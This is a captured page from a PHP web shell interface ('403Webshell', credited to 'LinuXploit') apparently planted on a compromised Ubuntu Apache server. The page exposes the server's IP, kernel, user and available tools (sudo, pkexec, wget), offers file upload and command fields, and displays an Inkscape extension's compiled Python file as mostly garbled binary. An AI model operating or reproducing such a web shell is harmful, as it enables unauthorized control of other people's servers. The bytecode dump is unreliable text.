403Webshell
Server IP : 93.86.61.54  /  Your IP : 216.73.216.60
Web Server : Apache/2.4.62 (Ubuntu)
System : Linux rasin.ddns.net 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64
User : www-data ( 33)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/inkscape/extensions/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/inkscape/extensions/__pycache__/perspective.cpython-310.pyc
o

5�aO�@s�dZddlZddlmZed�\ZZzddlZ	ddl
mZe	j
ZWney,dZ	YnwGdd�dej�ZedkrAe���dSdS)zJ
Perspective approach & math by Dmitry Platonov, shadowjack@mail.ru, 2006
�N)�
inkex_gettext�c@s<eZdZdZdd�Zdd�Zdd�Zdd	�Zed
d��Z	dS)
�Perspectivez,Apply a perspective to a path/group of pathscCs tdurt�td���t|jj�dkrt�td���|jj\}}t|tjtj	f�r�t|tj�r�|j
�|����
�}t|�dksGt|d�dkrNt�td���tjdtd	�}td�D]}|d|dd||d<|d|dd||d<qY|�|�����}tj|j|jg|j|jg|j|jg|j|jggtd	�}nt|tj	�r�t�td
���t�td���t�td���tjd
td	�}tjdtd	�}	dD]�}||d||d<||d||d<d||d<||d||d||d<||d||d||d<||d||dd<||d||dd<d||dd<||d||d||dd<||d||d||dd<||d|	|<||d|	|d<q�t�||	�}
tj|
d|
d|
dg|
d|
d|
dg|
d|
ddggtd	�}|�||�dS)Nz�Failed to import the numpy or numpy.linalg modules. These modules are required by this extension. Please install them.  On a Debian-like system this can be done with the command, sudo apt-get install python-numpy.rz-This extension requires two selected objects.�r�z@This extension requires that the second path be four nodes long.)rr)�dtypezMThe second selected object is a group, not a path.
Try using Object->Ungroup.zWThe second selected object is not a path.
Try using the procedure Path->Object to Path.zfThe first selected object is neither a path nor a group.
Try using the procedure Path->Object to Path.)�rr)rrr���r	�g�?)�np�inkex�AbortExtension�_�len�svg�	selection�
isinstance�PathElement�Group�path�	transform�composed_transform�to_superpath�zeros�FLOAT�range�bounding_box�	getparent�array�left�bottom�top�right�lin�solve�process_object)�self�obj�enveloper�dip�i�bbox�sip�	solmatrix�	free_term�res�
projmatrix�r3�-/usr/share/inkscape/extensions/perspective.py�effect&sn��



��""&&��zPerspective.effectcCs<t|tj�r|�||�dSt|tj�r|�||�dSdS)N)rrr�process_pathr�
process_group)r(r)�matrixr3r3r4r'is
�zPerspective.process_objectcCs|D]}|�||�qdS)z6Go through all groups to process all paths inside themN)r')r(�groupr8�noder3r3r4r7os�zPerspective.process_groupcCs�|j���|�����}|D]%}|D] }|�|d|�|d<|�|d|�|d<|�|d|�|d<qqt�|��|���|_dS)z-Apply the transformation to the selected pathrrrN)r�to_absoluterrr�
project_pointr�Path)r(�elementr8�point�subs�cspr3r3r4r6ts�zPerspective.process_pathcCs�|t|dd|t|dd|dd|t|dd|t|dd|dd|t|dd|t|dd|dd|t|dd|t|dd|ddgS)z#Apply the matrix to the given pointrrr)�X�Y)r?r8r3r3r4r<~s22�22��zPerspective.project_pointN)
�__name__�
__module__�__qualname__�__doc__r5r'r7r6�staticmethodr<r3r3r3r4r$sC
r�__main__)rGr�inkex.localizationrrrrBrC�numpyr
�numpy.linalg�linalgr%�float64r�ImportError�EffectExtensionrrD�runr3r3r3r4�<module>s
�c�

Youez - 2016 - github.com/yon3zu
LinuXploit